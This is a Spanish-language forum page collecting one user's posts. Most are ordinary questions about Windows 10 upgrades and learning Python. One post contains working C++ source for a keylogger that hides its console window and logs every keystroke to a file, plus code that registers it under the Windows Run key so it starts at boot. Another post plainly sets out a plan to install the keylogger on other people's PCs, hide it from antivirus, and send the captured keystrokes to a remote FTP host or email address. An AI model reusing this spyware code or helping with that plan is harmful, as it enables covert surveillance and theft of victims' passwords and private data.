Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Dacan

#11
Estoy haciendo un keylogger en C++ y logre incluir el programa en la lista de las aplicaciones que inician con windows pero, si no lo ejecuto no comienza a registrar las teclas pulsadas en el archivo log.txt, alguna ayuda?

Este es el codigo para que me coloque el ejecutable en el registro, FUNCIONA CORRECTAMENTE de hecho en el Task Manager me sale que se esta ejecutando:

#include <iostream>
#include <windows.h>

using namespace std;

string ExePath() {
    char buffer[MAX_PATH];
    GetModuleFileName( NULL, buffer, MAX_PATH );
    string::size_type pos = string( buffer ).find_last_of( "\\/" );
    return string( buffer ).substr( 0, pos);
}

int main(int argc, char *argv[])
{
   
HKEY * key;
LPCTSTR ruta = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\");
long status = RegOpenKey(HKEY_LOCAL_MACHINE, ruta, key);
if (status != 0)
{
  cout << "No se puede abrir la clave" << endl;         
}
else
{
  string ruta = ExePath();
  string subclave = "KeyloggerXD";
  string valor = ruta + "\\Keylogger.exe";
 
  LPCTSTR _subclave = TEXT(subclave.c_str()); 
  LPCTSTR _valor = TEXT(valor.c_str());
  long crear = RegSetValueEx(*key, _subclave, 0, REG_SZ, (LPBYTE)_valor, strlen(_valor)*sizeof(char));
  if (crear != 0)
  {
     cout << "Ha ocurrido un error al crear la subclave" << endl;       
  }
  else
  {
    cout << "Subclave creada correctamente" << endl; 
  }
}

RegCloseKey(*key);

system("PAUSE");
return 0;
}




Este es el codigo del keylogguer que encontre en internet, funciona bien pero si abro el ejecutable, no se pq no funciona al prender la pc:

#define _WIN32_WINNT 0x0500 //getConsoleWindow()
#include <iostream>
#include <string>
#include <map> //Array asociativo
#include <windows.h>

using namespace std;

int main(int argc, char *argv[])

    /*
    Array asociativo. la clave es el número decimal y el valor el carácter que representa.
    Está adaptado para un teclado en español. Ya que como viene configurado por defecto
    el número decimal dado no se corresponde a algunas de las teclas de un teclado en español.
    */         
    map<int, string> ch;
    ch[1] = " [mouse click] ";
    ch[2] = " [mouse menu context] ";
    ch[8] = " [Backspace] ";
    ch[9] = " [Tab] ";
    ch[13] = " [Intro] ";
    ch[16] = " [Shift] ";
    ch[17] = " [Control] ";
    ch[18] = " [Alt] ";
    ch[20] = " [Bloq Mayús] ";
    ch[27] = " [Esc] ";
    ch[32] = " ";
    ch[37] = " [Flecha izquierda] ";
    ch[38] = " [Flecha arriba] ";
    ch[39] = " [Flecha derecha] ";
    ch[40] = " [Flecha abajo] ";
    ch[44] = " [Impr Pant] ";
    ch[45] = " [Insert] ";
    ch[46] = " [Supr] ";
    ch[48] = "0";
    ch[49] = "1";
    ch[50] = "2";
    ch[51] = "3";
    ch[52] = "4";
    ch[53] = "5";
    ch[54] = "6";
    ch[55] = "7";
    ch[56] = "8";
    ch[57] = "9";
    ch[65] = "a";
    ch[66] = "b";
    ch[67] = "c";
    ch[68] = "d";
    ch[69] = "e";
    ch[70] = "f";
    ch[71] = "g";
    ch[72] = "h";
    ch[73] = "i";
    ch[74] = "j";
    ch[75] = "k";
    ch[76] = "l";
    ch[77] = "m";
    ch[78] = "n";
    ch[79] = "o";
    ch[80] = "p";
    ch[81] = "q";
    ch[82] = "r";
    ch[83] = "s";
    ch[84] = "t";
    ch[85] = "u";
    ch[86] = "v";
    ch[87] = "w";
    ch[88] = "x";
    ch[89] = "y";
    ch[90] = "z";
    ch[91] = " [Menu Windows] ";
    ch[96] = "0";
    ch[97] = "1";
    ch[98] = "2";
    ch[99] = "3";
    ch[100] = "4";
    ch[101] = "5";
    ch[102] = "6";
    ch[103] = "7";
    ch[104] = "8";
    ch[105] = "9";
    ch[106] = "*";
    ch[107] = "+";
    ch[109] = "-";
    ch[110] = ".";
    ch[111] = "/";
    ch[112] = " [F1] ";
    ch[113] = " [F2] ";
    ch[114] = " [F3] ";
    ch[115] = " [F4] ";
    ch[116] = " [F5] ";
    ch[117] = " [F6] ";
    ch[118] = " [F7] ";
    ch[119] = " [F8] ";
    ch[120] = " [F9] ";
    ch[121] = " [F10] ";
    ch[122] = " [F11] ";
    ch[123] = " [F12] ";
    ch[144] = " [ Bloq Num ] ";
    ch[145] = " [Bloq Despl] ";
    ch[186] = "`";
    ch[187] = "+";
    ch[188] = ",";
    ch[189] = "-";
    ch[190] = ".";
    ch[191] = "ç";
    ch[192] = "ñ";
    ch[219] = "'";
    ch[220] = "º";
    ch[221] = "¡";
    ch[222] = "´";
    ch[226] = "<";


/* Manejador para un fichero donde se irán guardando las pulsaciones */
FILE * log;
/* Variable para crear un salto de línea cada 50 caracteres */
int count = 1;

/* Ocultar la consola */
HWND hWnd = GetConsoleWindow();
/* 0 = oculta ; 1 = visible */
ShowWindow( hWnd, 0);

/* Búcle infinito para detectar las pulsaciones de tecla */
while (true)
{
     /* Recorrer el número de carácteres de la tabla ASCII que son 255 */
     for (int c = 0; c < 256; c++)
     {
         /* Si una tecla es pulsada */
         if (GetAsyncKeyState(c) == -32767)
          {
             /* Abrir el fichero */
             log = fopen("log.txt", "a");
             /* Si count es igual a 10 incluir un salto de línea en el fichero */
             if (count == 10) {fputs("\n", log); count=1;}
             /* Escribir en el fichero el carácter de la tecla pulsada */
             fputs(ch[c].c_str(), log);
             /* Cerrar el fichero */
             fclose(log);
             /* Aumentar en uno el valor de count */
             count++;
         }
     }
}     

system("PAUSE");
return 0;
}




Que debo hacer, se tendria que usar algun batch para que funcione?

Saludos.
#12
Programación C/C++ / [Ayuda] FTP en c++
7 Febrero 2016, 06:17 AM
He buscado en todo el foro y ninguno de los ftp me funciona, encontre este video pero solo funciona para localhost.

He buscando en internet pero no me aparece nada concreto, solo quiero lograr conectar con un ftp y subir un archivo txt cada x tiempo.

Saludos
#13
Hacking / [Duda] Construir un keylogger
6 Febrero 2016, 20:05 PM
Buenas tardes,

Tengo la idea de construir un keylogger en algun lenguaje de programacion ya sea C++ o visual basic, pero mi duda es la siguiente digamos que programe el keylogger, lo pase a una usb y lo pase a alguna pc y aqui vienen mis dudas:

- Los programas de antivirus lo detectarian como un software peligroso?

- Si guardo las pulsaciones obtenidas dentro de un txt, existe alguna manera de que ese txt se suba desde la pc de la victima a un hosting online, mediante ftp o no se enviarse por correo?

- Como podria hacer que el keylogger se siga ejecutando desde que encienda la pc, es decir, aunque se cierre.

En fin mis dudas son luego de programar el keylogger como podria utilizarlo en otras pc para que se ejecute desde que la pc prenda, este camuflajeado y suba los txt via ftp o de alguna manera me lleguen las pulsaciones sin tener que buscar dicho archivo en la pc infectada.
#14
Les cuento que lo descargue desde la pagina de windows y va todo perfecto, no me pidio serial ni nada  ;-)
#15
QUIERO WINDOWS 10 comence a descargarlo desde la pagina web, segun me dicen no pide serial.

UBUNTU.
#16
No se que pasa he hecho todo lo que dicen en internet sobre el:

wuauclt.exe /updatenow en el cmd ejecutandolo como administrador y nada me sigue saliendo esto:

we'll let you know when the upgrade is ready to be installed on this pc

No se que hacer tambien segui esta guia y nada.

http://www.microsoftinsider.es/78835/windows-10-estara-disponible-a-partir-de-las-0000-en-cada-pais/

Ayuda por Favor.
#17
Ya encontre una forma de hacer GUI con python usando TKinter me va de maravilla.
#18
Muchas gracias por sus respuesta, encontre un curso en youtube sobre desarrollo de aplicaciones GUI con python usando PyQt como dices.

Pero aun sigue mi duda si para hacer aplicaciones con lenguajes scripting necesito utilizar un framework desarrollado por terceros, para que sirven en si los lenguajes scripting, aun no entiendo, por favor aclarenme eso osea que cosas puedo hacer con estos lenguajes.

Y si lo que quiero es hacer aplicaciones con GUI osea interfaz grafica que lenguaje debo aprender?
#19
y para que sirven los scripts entonces? Cual es su objetivo?

Y tengo una duda a ver si me puedes ayudar instale python en mi windows pero cuando lo ejecuto en el cmd se cierra automaticamente.

Ya probe con raw_input('') pero aun asi se cierra.
#20
Tengo una duda, tengo conocimientos de PHP y C y ahora quiero aprender otro lenguaje de programacion utilizando la web Codeacademy tengo la opcion de aprender Phyton y Ruby.

Si quiero realizar aplicaciones de escritorio para windows, cual de los dos lenguaje me resulta mejor? es decir, con cual de los dos puedo desarrollar aplicaciones para windows mas facilmente.